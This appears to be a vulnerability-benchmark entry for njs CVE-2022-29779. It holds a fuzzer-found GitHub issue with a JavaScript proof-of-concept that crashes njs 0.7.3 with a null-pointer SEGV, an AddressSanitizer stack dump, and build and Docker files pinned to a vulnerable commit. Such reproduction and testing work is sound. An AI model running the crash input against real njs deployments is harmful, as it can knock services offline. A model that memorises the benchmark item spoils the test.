Project: njs (nginx/njs), language: c++
Vulnerability instance: njs.cve-2022-29779
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/485
## Description:
Issue: nginx/njs#485
Title: SEGV src/njs_value.c:240 in njs_value_own_enumerate
State: closed
Created by: xmzyshypnc
Created at: 2022-03-16 09:40:33+00:00
Labels: bug, fuzzer

Issue Body:
# Environment
OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.3
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"

# PoC
```js
function main() {
        var empty_arr = {};
        var arr1 = [empty_arr];
        var arr2 = new Uint8Array();
        arr2.__proto__ = arr1;
        var arr3 = arr2.splice(..."bigint");
        Promise.valueOf = arr3;
        var v9 = Array(0x20000000000000);
}
main();
```

# Stack dump

```bash
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
    #0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
    #1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
    #2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
    #3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
    #4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
    #5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
    #6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
    #7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
    #8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
    #9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
    #10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
    #11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
    #12 0x555b6444721f in main src/njs_shell.c:303
    #13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
    #14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING

```

# Credit
xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)


Commit References:
f65981b0b8fcf02d69a40bc934803c25c9f607ab

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 8b39afdad9a0761e0a5d4af1a762bd9a6daef572
WORKDIR $SRC/njs
COPY build.sh $SRC/

Additional files: